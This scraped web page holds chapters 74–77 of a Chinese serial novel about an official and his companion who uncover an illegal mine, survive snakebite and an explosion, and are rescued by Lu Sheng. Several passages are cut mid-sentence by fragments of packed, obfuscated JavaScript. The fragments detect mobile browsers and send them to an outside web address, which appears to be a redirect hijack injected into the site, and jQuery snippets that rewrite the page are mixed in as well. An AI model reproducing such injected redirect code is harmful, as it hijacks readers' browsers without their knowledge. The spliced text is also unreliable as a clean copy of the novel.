RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493408|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一句:“捕这样的蛇岂不是容易丧命?” 艾真面色转哀,他讲:“确实如此,常年捕蛇又没有栽跟头的那是一个也没有。可没办法,得寻个活法,谁不想活好一些,吃菜的时候想吃肉,吃肉的时候要配酒。” 但很快他又乐观起来,说命无定数,至少抓毒蛇短时间就能拿一大笔钱,有转业的机会。 “那山道上你干嘛鬼鬼祟祟的?”秦厌想到之前他的神态不由好奇。 艾真点上火,眯着眼说:“这事说来话长,看你们是做生意的我也给你们说几句,反正等你们出去估计也传开了。” 看他这么郑重,崔息正襟危坐一些。 艾真架上锅倒入米和水,盖子“啪嗒”一盖,像是找话头似得沉默了半晌。 “就这么说吧,原先每个黑寨都有一位阿克,大伙也互相往来,但北人还有南边婆罗洲的商人来了以后黑寨之间就有争吵了。这事不难理解吧,都是做生意的。”艾真看看他们。 秦厌若有所思地点点头,来永平县之前他肯定听不懂那么些弯弯绕,看过谢、隹二家纷争,这事实在太好理解, “最近有个本事很大的阿克,年轻也强壮,本来他们寨子是很穷的,甚至一度没有寨子住,但是不知道用的什么法子又找了片地,然后又是报仇又是吞并的。现在更西面和南面的地方都归他们管咯!想做点生意也得跟他们打好关系……”说到这里他停顿一下,无奈地叹了口气。 “怎么了?要花很多钱打点吗?还是什么!”秦厌追问。 这也是崔息好奇的问题,莫名地他想到了上次接走陆笙的人。并且听艾真这么说了以后变成他发现他原先对黑寨的理解简直大错特错。 “花钱倒还罢了,是我母亲姓隹,他们的大阿克跟隹姓有仇啊!”艾真苦笑。 这事就复杂了,秦厌知道仇这事很难说,对与错根本不适用。 艾真多的没有说,其实他也能感觉到住在他家里的两个人不是一般人,但至少人不错。 本来自己是免费请他们住的,他们也还给自己了钱,有事也帮一把。这比黑寨本家那些人不是强很多么?隹姓现在臭名昭著,都传他们和蕃人在做生意,为利益屠了同信仰的兄弟姐妹。 艾真看着锅盖边冒出的水汽,有些话他想说又不敢说,说了万一影响到自己呢?所以最后放弃倾诉。 崔息能看得出来,但是不多问,能说到这里已经是艾真对他们两个北人身份客商发出的最大善意。 他话里话外也是提醒,万一他们做生意往西南那边走是有风险的。毕竟如果那位大阿克不让你走你就不能走,他要是借机想自己转运出货,你又能奈他如何? 艾真把肉也炖上,外面的雨又开始淅淅沥沥,屋子里漏得滴答滴答。 听得久了秦厌有些犯困,于是他靠在墙上准备迷瞪一会儿。 刚闭眼就听到艾真的提醒。他嚼着大茶叶面色认真地提醒:“对了,两位客商最近入夜就不要再出门,我今天听说晚上附近都不太平。” 也只能这么说了,艾真不想他们被杀,但是也不可能泄露土人自己的家事。 74. 第 74 章 雨后初霁,霞光漫天,绮丽如练深浅交叠,乌云挥袖而去只留几片淡淡的痕迹。 再眨几眼,那淡淡的深痕就混入了深深的青色里不见踪影,绚烂却愈发得绚烂。 崔息仰头观赏,看着霞光往天边移动,无怪乎说天圆地方。 这样的想法被夫人听了去约莫要促狭几句,她会怎么说呢? 想了几句崔息都觉得不似她,可能她的话只有她嘴里说出来才最真。 “公子,喝茶。”秦厌为他端来一个粗陶碗,里面是淡褐色的茶水,陆笙钟情于它,现在自己爱屋及乌也爱喝上几口。 崔息抿一口茶,等待苦涩将退和甘甜上涌瞬间的交汇,等到以后他开口问秦厌:“艾真呢?” “他说今天要出去交货,晚上就不回来了。” 艾真是半个商人,居住的这几天里他也出去过,只是没有像这次一样一整夜不回来。 “嗯,那我们晚上也出去,去瞧瞧到底是什么不太平。” 崔息将茶水一饮而尽,外面的霞光也落下,天上残存的光已经照不亮森林土地。 之所以这么笃定得要出去,是因为在刚才的谈话里崔息很确定,确定艾真知道些隹家的行商事。 艾真说起隹家的时候脸上的表情有些复杂,若只是实力强盛他大可以自豪,可偏偏有些嫌恶之气。 “公子,你真要出去?”秦厌瞪大眼睛。 崔息以为他怕了便安慰道:“这世上一般是人当鬼惹人怕。” 秦厌搓一搓手臂觉得公子说的话凉飕飕的,不过他其实也不是怕这个,他武功不低,胆子也不小。 “你今天还跟我说呢,不要吃山里的菌子,这事算不算你的‘吃菌子’?这事和吃地上的菌子不是差不多危险么?” 崔息皱着眉看了一眼秦厌,但他似乎在认真思考而非全然地顶撞。 “作为父母官,有些事不得不为,在其位司起职也要负其责。” 秦厌确实是在认真地想,听了公子这句话想的事情也有了一些眉目,是公子想的事情比自己多,他承担得也多。 再回味一下自己的那句话,这不就是全然地顶嘴么?公子是为查铁矿事来的,自己又难以勾勒出全部影响的,只好跟在公子身后。 但公子他不一样,倒也不是此时不一样,是他一直这么不一样。很少见的,秦厌觉得自己的心里出现一些羞愧的情绪。 “公子莫怪我,以后一定改改这想到哪说到哪的毛病。”秦厌请罪。 以前他还觉得自己挺厉害的,别人不敢顶撞公子,但自己敢啊,现在却觉得这一份“敢”简直愚蠢,好像是对公子付出努力的愚弄。 “诶……” 秦厌忽然接了一口长长的叹息。 公子修的治国齐家平天下的道理,践行的也是如此,自己的戏弄和轻看一点都不会让自己变得高大,这更不是挑战和勇敢。 这是轻率又无知的冒犯,若无公子的仁慈、照拂,他早不在这里了,可能小时候就在也掖庭里死去。 崔息笑一笑,秦厌如今也是有愁绪的人。 今夜有皎月,但月色终不如日光那么耀眼,所以走在山道上只能勉强看个大概。 譬如现在,道左右的密林里窸窣作响。定睛一看还有迎着月色发出荧光的幽幽兽眼,两点一对,许多对眼睛就这么落在黑色的丛林之中漂浮。 “嘶嘶作响的是缠绕在竹上的青蛇,哒哒踏过的是皮糙肉厚的野猪,还有夜中呜咽不止的是夜枭……” 崔息一点也不害怕,甚至想起了陆笙的细数。 “公子我们到哪里去才好?”秦厌听不出艾真话语里的指示性,即便出来了还是有些摸不着去往何方。 崔息说:“赵昙勾勒的山附近,碰不碰得到看运气,我们只是来试试。” 披戴星月,两个人在虫鸣兽叫里一步一步得走,忽然从不远处传来一声大喝。 对方也没有说话,大喝之后直接冲出来,寒光一抖,原来是手中带刀。 崔息站着动也不动,秦厌“哼”一声,只待他靠近。在他举刀用力的时候,两个人都微微侧身,那人完全收不住劲直接摔了个狗趴。 秦厌想拔刀,崔息却抬手示意他不必妄动。 摔在地上的人大叫了一声,是土人语,两个人听不懂,但是应该是骂人的话。 只见光影幽微之中那片摔倒的影爬起来,他了一身的黑衣,所以迎着月色也瞧不大清楚。 但是他骂骂咧咧的话倒是很清晰,骂得气势太足,周围的鸟兽都不见了踪影。 “两位客商不会讲土话是吧?@#¥……%……派我来接你们%……¥&确实是好身手……&%,走!” 崔息感觉自己是在一堆骂人的土语里捡出的语句意思,显然这个人是把他们当做了什么人。 “客商,这位小兄弟怎么不说话?哦我是伏伏,还以为要等你们很久。” “哑巴。”崔息尽量少说话,秦厌他干脆直接以哑巴来帮他蒙混。 伏伏是个络腮胡汉子,但话很多。 崔息不讲话他干脆一个人填满了这段空白的时间,从天气说到林子里的草木。 伏伏说叫崔息莫怪,他曾经在矿洞里被人落下,那可是整整七八天都是一个人,这之后他就变得多话。 “待会儿要是他们问你,你就说我没说话,反正也没什么关键消息,说说也没事,客商你要是不爱听就跟我说,我稍微少讲那么一点。”伏伏的两片嘴皮子跟铁做的一样,喉咙也异常强悍,说这么多话不带一点沙哑的。 崔息很少见到这样的人,但只能忍耐,秦厌简直想再给他一脚,他摔倒昏迷时候就是世界最安静的时候。 伏伏先是带着他们走大道,最后又拐入林子,崔息快速巡视一圈,看看周围有没有标志性的东西。 “再走一段,再走一段就好了,我跟二位客商说,我们那里好看着呢……” 这简直不像是私下交易,更像是有人带你览胜。 钻了林子走到一处山洞,伏伏却没有进去。 崔息不说话,伏伏主动讲解:“这就是障眼法,看到洞穴但不是入口,现在请二位客商套这麻袋子,麻袋子看不清,但可以见到火光点子,你们跟着火光点子便不会迷路。” 两个人也没有选择,照做。 伏伏赞了声,点火把的时候嘴巴都不闲着,他开始损别的客商捧他们俩:“二位是真汉子,那些不知道哪里来的蛮子呜哩哇啦得不肯套,总是要费功夫。” 火光在前头,崔息调动五感,他能感觉到热度和夹在两边的石壁,就是不知道伏伏怎么带他们走的,明明刚才没有一点路。 摸索了半天走得还算顺利,伏伏也有所觉,于是开始夸他们功夫好,居然能避开一些石头,要是别人早就摔不成样。 崔息疑惑,到底是什么东西这样有吸引力,能引诱商人自去尊严被人戏耍。他忽然想到艾真那个罐子里的东西,但愿不是那些。 “好了,二位客商自行摘去麻袋吧。”伏伏道。 说的时候他已经熄了火把,崔息敏锐地发现虽然熄了眼前的火把,但是遥远处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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崔息点点头,去看看铁矿里面也更好,这意味着更多的接触,也多了让他们寻找线索的机会。 伏伏热情地在前边带路,他边带路边说发现这个铜矿的契机是如何传奇。 三个人又钻入山道之中,这里满是木架子,有些还是铁架子。 “偶尔也会塌的,到时候人就埋里头了嘿嘿,但跟着我没事。”伏伏是有意恐吓。 又走过一段路,一个巨大的空洞出现在眼前。 “这里怎么没有架子了?”崔息看秦厌异常好奇,替他把疑问问了出来。 伏伏说:“这是本来就有的,我是好心人,带你们看看。” “为什么没听见采矿的声音?”崔息忽然发现这个问题。 伏伏笑着回答:“正好赶上大伙休息了。客商,我瞧你也是端正模样估计是大地方的,我们土人可没有你们北人干活那么狠。” “哦,这你也能瞧出来?那你瞧我是哪里人?”崔息不着痕迹地套话,他猜测的地方大概就是他们铁矿曾经销过的地方。 “家里有人做官到南边来了呗,就是那南边的……”伏伏说到一半忽然被人喊住,说是头正找人呢!『崔息分析他们的商路』 再次来到方才的屋子那,崔息长舒一口气,矿洞逼仄,不习惯的人总感觉一种无形的压迫。 但一口气还没喘完,屋子里的人却大喊:“你是……崔……崔……崔县令!” 崔息和秦厌定睛一看,那人不是谢家的管家又是谁! 75. 第 75 章 秦厌剑锋指向谢府管家,但对方丝毫不怵,甚至面带挑衅。 伏伏已经跑开,边跑边抓脖间的夜哨吹起来。 还好,挖矿的不在,但是打手全在。明明刚才他还给人下马威,没想到现在就轮到自己后怕。 倒霉的是今天是谢家人在,到时候一定会把罪怪到自己头上,伏伏眼睛闪烁不定,心中正激烈斗争,是走还是留要! “明府,来都来了,就请您把命留在此处吧。”管家一拱手,出来的打手已经起了架势。 秦厌后悔没有拿上弓弩,否则这没脸皮的东西已经一命呜呼。 敢对公子这样无理!凭自己百步穿杨的本事,取他的首级还不是探囊取物!宵小之徒百死不足惜! 崔息眼睛微眯,蹀躞带上是他送给陆笙的金银剑,陆笙带走了剑他就带了剑,鞘也换成了木胎的,绘着一树半开的梨花。 崔息握住剑柄,将三尺长剑缓缓离鞘,出鞘之声清悦,月色淌过,剑身如流水。 但此时这群打手已经没有与他们两个白刃相向的意思,管家给每个人配发了一张弓一袋箭。 剑拔弩张之际秦厌忽然长啸一声,伏伏以为他有什么绝妙武功,没想到愣神时两个人一溜烟跑进了矿洞。 嘿,这脑子转得,伏伏佩服。 管家却气得冒火,扯着嗓子大叫:“给我杀进去,死活不论,捉住重重有赏钱!” 他又转头要问伏伏的罪,谁知道这个家伙已经不知道去了哪里。 方才那一招使的是声东击西,伏伏也沾了光。 崔息和秦厌虽然都对这矿洞不熟悉,但是矿洞窄不至于立刻直面所有敌人,等于巷战。两个人打起来也勉强有回环的余地。 最关键的是这里东拐西弯箭矢在这里也不好使,明枪易躲暗箭难防。 矿洞里的脚步声“噔噔噔”,一个人走过就像十个人跑过,崔息屏住呼吸慢慢往前探。 忽然有人窜出来,刀跟守待捕猎的毒蛇似得以意想不到的角度亮出来,但抵不过崔息手中宝刀。 打手只见一瓢寒光泼来,接着就是刀刃断裂的声音,等他意识到不妙想走时已经被秦厌补了一刀在心口。 事情发生得太快,以至于那人死时还沉浸在刀断裂的震惊之中,这可是此处铁矿打出的好刀,反应过来一颗心已凉透。 两个人继续向前摸索,崔息准备依靠记忆探寻他们的来路。 “公子,他们是不是放弃了?只一个死了就不来了。”秦厌疑惑,怎么没人过来了,刚才这么多脚步声呢! 崔息正在思量,忽然觉得一痛,刀一挥把那咬他的东西挑到有火的地方细细辨认。 是一条蛇,一条毒蛇! 他又检查一下自己的脚腕处,那出现两个血色窟窿眼,血已经暗红。 崔息立刻扯下袖子的布给靠近心脏的位置绑了一条带子,又叫秦厌给自己划一到口子放出些毒血。 伤口现在没有太明显的疼痛,但显然那是一条毒蛇。崔息深呼吸,叫自己的心跳得不那么快,然后冷静地吩咐秦厌。 “秦厌,你先走。我们不能都折在这里。” 火光之中崔息的面孔发白,额头忽然满是冷汗,疼痛排山倒海地袭来。 秦厌眼睛睁大,他觉得无措。 这……这……这是公子,他不能丢下公子。 于是他试图去背崔息,崔息用虚弱地声音说:“你出去至少找得到我的尸体,秦厌,快走,他们应该在准备火药,你之前闻到了吗?” 秦厌牙关紧咬努力想让自己冷静,可手还是抖得不成样子。 “你已经快加冠了,优柔寡断是做不了将军的。”崔息已经站不起来,扶着剑坐在地上,剑尖不停地颤抖,地上裂开一条口,灰尘不停得抖出,崔息显然痛极。 “秦厌一定会出去的!”秦厌擦不干眼泪,找了撕一块布折叠咬在牙间。用最后一点理智强迫自己站起来,向外面跑去。 崔息其实一直在挑捡什么话给陆笙,但秦厌走得太快,只是瞬息便不见身影。 只好庆幸她见不到自己的尸体,以火药之威他大概会长埋此处。 早知道那天去送陆笙,也可惜这把刀,还没用几次就要跟自己长埋此处。 但他心里出奇地平静,还能想到陆笙说人死不过黄土一抔,不必立碑不必撰文,若她离开不必有人纪念,反正都是后人用来编排的。 她说万物都是如此,生长腐败,自己有什么不朽的呢? “凭什么古君子可以因赡父母拒王的聘用而留名,我不能因为擅长种菜又有些不合时宜的古怪而不留下名字?让愿意留名的留名,让不愿意留名的逝去,不也很好吗?” 崔息在山洞里说她的话,他在想象陆笙此刻在自己身边,但蛇毒发作得太厉害,太迅猛,他的力气像泄洪一样奔出去。 崔息想象都开始吃力,眼皮重得要垂下。 他嘴唇嗡动,却失去了控制肌肉的力气,陆笙两个字也念不出来。 想再念一遍,可是没有力气了,懊悔也没有力气,只有绝望,完全闭上眼之前平静地心剧烈地颤抖。 外面声音轰隆隆,地面开始剧烈抖动,灰尘下落,石头砸在崔息的衣袍上。 脚步声又传过来,是秦厌,他背起崔息在晃动的洞穴里尽力走快一些。 或许这样做是错的,可是抛下公子更是错,他根本无法选。 为什么贼老天要这样对公子,为什么! 秦厌左脚吃痛发麻,他一个踉跄跪倒在地上,一看自己的脚步也游过一条蛇。 秦厌晃晃脑袋,也不是一条,是好多条,他把崔息放下,解下金银刀让它支撑祝自己,他手里的寒光颤抖。 地面又晃动起来,他终于也支持不住。 火药的动静实在太大,谢府管家在外面神情喜怒不定,最后他觉得这招还是太昏聩,万一被桐吾知道就完蛋的,还好他今天还在庆祝。 都怪自己看到崔息那一瞬间实在慌张。 最后,管家已准备带着人撤退,等待风声过后再回来。反正县令已死,十多年谢家都等得了还怕这几年么? 他急匆匆地跑回屋子,里头的东西挨个嘱咐人搬走,离去时又给这屋子放一把大火,显眼是显眼,可胜在死无对证! 伏伏像地老鼠探头探脑地钻出来,先是丢出一团稻草,里面有火光隐现不一会儿一阵浓烟散开,附近的毒蛇嘶嘶退避。 “喂,你们还活着吗?”他的声音在矿洞里回荡,但始终没有人回应。 伏伏慢慢爬出来,他是想劫那把剑,那是好东西,到时候自己逃命能用得上,肯定能抵不少钱。 他 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蚀骨之痛又沉没,这个毒一阵一阵的,痛的时候能叫他从沉睡里醒来,不痛的时候又失去知觉,全凭一身内力和那口气撑着,意识再次堕入黑暗,都来不及想一想阿木凌。 伏伏听到响动又骂骂咧咧地出来,因为他抛了几个虎骨问神怎么做,神说要救他们,但转念一想也对,谢府那管家说他是县令,那救了县令说不定真有活路呢? 可……看到这俩人发紫的脸伏伏眉头紧皱,最后心一横,把手里的药对分一分给他们喂下去。 这药很宝贵,是婆罗洲来的,据说能解百毒。 伏伏买的时候只是对山中毒物心有余悸从而给自己预备的。 “你们可千万要争气啊,我的两个金库和宝刀!”伏伏脸都是哭丧着的。 能不心疼么?一下交代出去小半身家。 不过既然选择了怎么做,他也不纠结了,立马开干。 这俩汉子高,又没有意识,那搬他们差点没让伏伏背过气去,好不容易才先拖一个后拖一个搬出了矿道。 拖到血河附近,他又给两个人分别喂了点水,又给叫什么崔县令的汉子把脸擦干净。这样的人折在这确实可惜,要是在他原来的寨子,这样的相貌都可以问神托相,神相都能按照他的大轮廓造。 这血河还在流淌,血色不减。 伏伏下河摸索过,就是里头的铁矿有颜色,那水舀起来就是清澈的,喝了水他准备继续搬人,但一阵脚步声立刻传了过来。 脚步声急促而且听着不只一个人,伏伏撇头一看不是那阴险狡诈无耻阴毒的管家还是谁?他搬了这俩人也算是和他们一道了,所以对谢管家在心里立刻大骂特骂起来。 “哼,这就是你们黑寨的好矿工?”谢府管事本就因为铁矿分配一事不满,遇到这件事更是借机发挥,他非要逮住这个五大三粗的伏伏问罪。 本来对这个伏伏还是欲加之罪,如今看到他搬这俩人,还是被自己与隹家人看见,这下可跑不了。 伏伏不说话,看一看从岩层藤蔓落下的月色,叹了一口气,没办法了,还是束手就擒吧,现在死蟹一只,再骂也没有用。 除非有神救他们。 伏伏在垂首时一阵嘹亮的哨声响彻在甬道,大家面面相觑,点燃的火把根本没有看到这里有多出来的人。 “谁在那里玩把戏!”谢家管事怒喝。 76. 第 76 章 陆笙对红色血河很感兴趣,但再留在黑寨问多半是要被桐吾找去,所以她当即决定直接往永平县赶。 只捡了一个包袱收拾,把重要的信件和武器带上便出发。拐的小马是上次和桐吾去看青崖绝壁云海骑的那一匹。 小马脾气好,陆笙只是稍微哄一哄它就肯跟着走了。 至于为什么要走,因为她完全能想到桐吾后面会问自己什么。桐吾虽然当上了大阿克,但是根本没有准备好,还做不到完全舍弃他应该舍弃的。 虽然人人都是如此贪心,自己也是一样。 小马感受得到她的烦乱,马头不安分地甩一甩,陆笙拍拍它,一夹马腹,四蹄离地,驰骋而去。 虽然常年走镖,但是独自远行的事情很少,陆笙带着一点忐忑的兴奋,像刚携剑闯荡天下的少年人。 奔到到马儿不便再走的路途,陆笙就放它回去,折返之前小马儿拿它的脑袋在陆笙的怀里拱了拱,好像有些不舍得的意思。 陆笙却读得懂它真正的意图,笑着掏出豆饼喂给它。 “吃了就要乖乖回去。”陆笙轻轻刮一下它的耳朵。 它也很听话,吃饱了就动起四蹄沿着来路小跑而去,尖尖的耳朵时不时动一下。 这林子里初夏的白日是热的,但一到晚上却冷得叫人打颤,哪怕有一团火燃烧在陆笙的周围。 过于湿润的新鲜木头在烈火中噼啪作响,声音太密集,几乎像雨水敲打窗棂,水与火竟然在自己的感官里相似相逢,陆笙兀自发笑。 忽然她明白自己为什么冷。 马儿吃了饭,她自己一点也没吃,看到那场面根本没胃口。现在饿了倒是不记得那一瞬,记忆开始涌动,剥离了当时感情,却记得在泉水边听到她们炒菜的声音和香味。 偏偏现在又是夜里,打不到猎,周围也没有河流,不然说不定可以“愿者上钩”。 胡乱思量的时候陆笙听到一声剧烈的响动,动静极大。伴随巨大声响的是无数双翅膀扑棱棱飞过,遮天的鸟影掠过夜空。 陆笙好奇地望一望,但因树木太密无法瞧见。 在林间选了一棵高树准备爬上去瞧瞧的时候,她的心猛然开始绞痛,像金属尖锐扎头了心脏,心脏因为痛苦猛烈收缩,冰凉和刺痛带来强烈排异被收缩而无限放大。 陆笙整个人抱着树上不敢吸气,缓了好一会儿才能动,汗水湿了后背。 冥冥之中似有指引似得,说不清为什么,但陆笙觉得自己必须往那走,必须! 明明她最抗拒这种指引,可是这一刻她无法控制自己的手脚。 树林深处已经有点点的萤火,它们忽然像是好奇陆笙这个陌生的来客,纷纷在她周围游荡。 不停地行走,不管荆棘是否割破她的衣裳和皮肤,现在只是也只能不停地走,只有往那里走她才能安心一些,像不顾一切扑火的飞蛾,可惜自己没有翅膀。 风声掠过耳畔,从密林走出踏上了石山。 陆笙左右顾盼,更详细的方向并没有头绪,直到不远处传来隐约可辨的人声,似乎是在什么山洞里说话,回音明显。 循着声音过去,有个地方明明爬满草藤却还是透出微微的暖光,陆笙用手轻轻地扒一扒,目光乡下。 似是两方敌对的人马对上了,具体的看不清,只是在触及倒地的人时她眼瞳重重地一缩,是崔息,他面色有明显的黑紫,表情痛苦,秦厌也相似。 陆笙心里好似有一把火熊熊燃烧,要烧尽一切!又有无边愤怒如雨,淹没猛涨,摧枯拉朽地冲破桎梏! 陆笙直接拽断脖颈上的管笛绳,因为愤怒而颤抖的手拿起笛,深呼吸吹响了它,尖锐刺耳的声音弥漫在夜色里,笛子断成两截,她呕出一口血,但毫不在意,伸手抹去嘴角鲜血直接跳了下去。 长久压抑在身体的毁灭欲望挣脱束缚如龙游弋升天,如雷暴响彻底。 现在陆笙心里只有一个字:杀。 束手就擒的伏伏听见水花四溅的声音,摸一把侧脸的血河水朝旁边看,一个眼神冷寂的女人握着剑沉默伫立。 伏伏心中狂喜,真的有人来救自己了? 可是仔细一看她的手正在颤抖,剑尖在水中颤抖,划破了她脚下不断荡漾的圆圈。 而且对面的谢府管事似乎认识这个女人。只是他表情戏谑想要说的话还没出口,面却显出无比的惊恐,眼眶里的眼睛瞪大,还没完全展开嘴角急剧向下。 伏伏还不明白发生了什么的时候手边划过凉意,是鳞片的触感,伏伏大概能感觉到是什么,但他不敢去看…… 一个呼吸,两个呼吸,还没有结束! 伏伏双手颤抖,直到没有那种感觉才敢小心抬头,结果一条比自己手腕粗的蛇盘立在他身前对着前面的人发出警告的声音。 “就一条蛇,怕什么?!”管事压下惊恐,愤怒咆哮。 蛇忽然弹也似得朝他们飞过去,十几个人都乱了阵脚,这蛇谁敢招惹! 混乱之际,伏伏只见那女人大步跨出池子,手中剑带寒光,分毫不差地抹了那谢府管事的脖子,快准狠丝毫多余的动作也没有,简直是天生杀手。 本来一群人完全有一拼之力,可架不住这样的蛇竟然不只一条。恐惧从脚底下疯狂炸开,谁也不敢轻举妄动,生怕自己是先被攻击的那个。 伏伏也吓得不敢动,最后干脆躺在那俩汉子附近装死。 惨叫声此起彼伏,那些咕噜噜在地上滚的也不知是什么东西,伏伏根本不敢想。 因为太过惊恐,他的五感一直处于被放大的状态,不久后鼻子里钻进来略显熟悉的味道。那是一股铁锈味,带着一点暖烘烘的感觉,可血河没有那样浓烈,而且它是冰凉的。 这……他只是一个普通的矿工,武艺稀松怎么转成办事的没两天就成这样的了!伏伏眉头紧皱,大骂倒霉。不过对那个女人,以前他会觉得这必定就是狡诈毒妇今天却觉得是救苦救难的神明。 忽然意识到自己完全不虔诚的伏伏睁开双眼,他想到一件事。 自己也不知道这女的是哪一路,万一跟所有人都不对付呢?万一她杀得没了理智把自己也端了呢? 伏伏里面缩起来,他不去看凶残的打斗,猫着腰一点点往最近的洞口挪。 耳边刀光剑影只有逃离才安全,但是一进洞口就有两盏灯笼似得眼睛盯着他。 伏伏一想到刚才的触感,只觉得头晕眼花。 刚才是装的,现在就是真的了。这么大的体型,那绝对是腾蛇出洞啊…… 完了,真的完了,伏伏眼前一黑不省人事。 “阿克, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13543822|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他晕了……” 桐吾听了不说话,没想到今天突袭隹家的矿场碰到了这么一幕。 不过不管这林子的黑夜里发生什么,第二天太阳还是会从山下升起。 陆笙感觉身上温热,晕晕乎乎地睁开眼原来是窗外的阳光洒进来,她又看到桐吾坐在自己身边。 他的脸色不大好看,直到看到她睁开的眼睛脸上才多了几分微笑。 “都叫黑寨的巫看了,没事,一点事没有,你别动!”桐吾按住陆笙不让她起来,他手劲大把陆笙按回去的时候叫她有些头晕眼花。 桐吾手伸一下想补救几句,但还是背手离开她身边,一想起陆笙不辞而别他就生气。自己声势浩大办个大会就是要声东击西,她可倒好,一点不参与闷声不响直接跑走,还走到这么危险的地方救她那县令夫君。 “陆笙,我今天同样可以叫他们两个死在这。”桐吾忽然拍案。 他的愤怒来得似乎没头没尾,但陆笙知道,他只是因为无法掌控而愤怒,后面或许是极度地担心,但是她不喜欢。 “这份情我会想办法还给你的。”陆笙头很痛。 昨天那法子是万不得已,她都有些记不清那种极度愤怒,愤怒到怒火攻心,以杀止杀行为是怎么发生的了,想起来只有纯粹的情绪,毁天灭地的情绪。 桐吾忽然跑回来,一只腿跪在床铺上,他像夏天的阴云一样遮盖住陆笙眼前的一切。 “情你也能还我?那若我说我要你的爱呢?陆笙,你难道是没有心吗?你拿了我的隐朱绳,我为你做了这么多,我甚至可以为你牺牲。而且,我可以比那个县令更强大,永平县还会是我们土人的地盘,我可以给你更好的!。”桐吾目光炯炯。 “请问阿克该如何处理土人与北人的关系?钱与丝绢计算折换如何,又如何劝课农桑,若永平县有考取功名者又应如何?” 陆笙很冷静,听到“为她牺牲”这种字更是冷笑。 她认为桐吾只是逃避权力带来强大压力,或许有那一瞬间,最重要的是自己就是不喜欢。 “我们土人强盛,北人自会臣服,这有何难?臣服以后便用他们的方式劝课农桑!”桐吾觉得很简单,北人若不愿就回家去算了。 在说出这句话的时候他也没有意识到,他把陆笙自动归在了北人之外。 陆笙却哑然失笑,再问:“阿克又要如何平衡生意之道呢?还是……妄图施以暴力,届时阿克又会得到什么呢?这是麟国,阿克若以暴力取永平那可是造反!” 说到激动处陆笙咳嗽,她不是为朝廷辩解要巩固麟国统治,只是希望崔息要,不,一定要活! 再者说,她也无法眼睁睁看着桐吾头脑发昏突然挑起土人与北人之争?!他说是为了自己如何如何,但坐到大阿克的位置早就身不由己,心里的十分力气能使三分便是极致。 咳嗽着拨开桐吾递过来的水,她用沙哑的嗓音继续说:“一政令的作用远比你想象得复杂,你只适合当一个阿克,并不适合当县令。” 桐吾气得摔碗便走,陆笙感觉太阳穴两边血管直跳,痛得她捂住额头,眉头紧皱。 其实此刻她也无法判断自己做得对还是不对。 若是卡铃在就好了,陆笙叹一口气。 卡铃现在必然会比桐吾冷静。 77. 第 77 章 犀木按照桐吾阿克吩咐,在他离开后的第二日把自己的动向告诉卡铃。 卡铃蹲在田垄处看禾苗。禾苗已经拔似得长高了好多,就是下面浮萍有些多,一枚浮萍不到指甲盖大,但现在它们密密地铺着,卡铃觉得明天应该叫人赶些鸭子过来吃一吃。 听到犀木的话她不回答,又看了一块地才问:“哦?桐吾阿克这是连我都不相信,要你在第二天才告诉我他的动向?” 犀木不敢对话,他也不知道阿克是怎么想的,为什么连卡铃也不告诉。 “那阿姐你去不去?”犀木吃不准卡铃到底什么意思,只好直接问,他不会拐弯抹角。 卡铃听到他这样叫自己心里宽慰一些,因为犀木终于在桐吾举办庆祝的时候向卡依表达了求娶之意。 他也向卡依忏悔,之前没有说是因为自己不想带着仇恨的心情踏入这段纯洁的情感,他的父母是被柱子上的人杀死的,仇恨不消亡实在难以安心。 虽然卡依那天并不开心,卡铃没有听两个人是如何解决这件事情的,但至少现在他们又依偎在一起,和好如初。 “去。”卡铃觉得自己有义务提醒桐吾,现在已经不一样了,哪怕是作为朋友。 犀木单手搭在胸口,朝着卡依微微鞠下躬,但卡铃却喊住了他离去的脚步。 “你带要卡依一起去么?”卡铃忽然想到这件事。 “嗯,带她一起去。” 卡铃叹一口气,拔起稻田里比禾稻长得还要快的稗草,两只手一用力,草茎绷断。她抿了抿嘴似乎是在挑选合适的语言。 “犀木,卡依跟着你一起去,不是因为她以后会是你的妻子所以必须跟着你,更是因为她是我们黑寨重要的一份子。现在是这样,以后也是这样,你懂吗?” 卡铃定定地看着犀木,犀木略微懵懂的眼神让她有些失望。 “阿姐,我听不太懂,但是我会记住你的话的。” 犀木认真地反馈卡铃,卡铃虽然失望但也只是一瞬,至少妹妹的伴侣是真诚的。 检视过陆笙带着种下的禾苗,卡铃踏上归程。 之前回去陆笙都在家里或者像散步的小动物一样游荡在村落周围,今天回去已经没有她的踪迹,说她像是猫真的不为过,始终有养不熟的野性。 她心里微微升起些埋怨,哪怕是留张纸条呢,吃了这么多也不知道打一声招呼。 昨天回去的时候她还寄希望于陆笙只是走远了会回来的,毕竟还有这么多美丽的衣服留在这里,谁能想到她是真的离开了,或者说逃走。 跟着犀木去矿场附近的黑寨,卡铃还是放不下陆笙的那些行李,下马把它们都带上,准备到时托付诚信的商人送到她那。 在马背上颠簸又下马跋涉,看云与霞升起落下,三个人在夜色退去之前赶到了那处桐吾临时落脚的黑寨。 有一个年轻的男人接待他们,将他们的马匹栓好。 “大阿克昨日醉酒还没醒,你们走了这么久,连夜枭的咕声也听烦了吧,快请休息一下!”他满面红光,年轻的脸上满是对大阿克的崇敬。 卡依点点头,听从了这份安排,但提出需要先洗澡,天气热,身上已经有了味道。 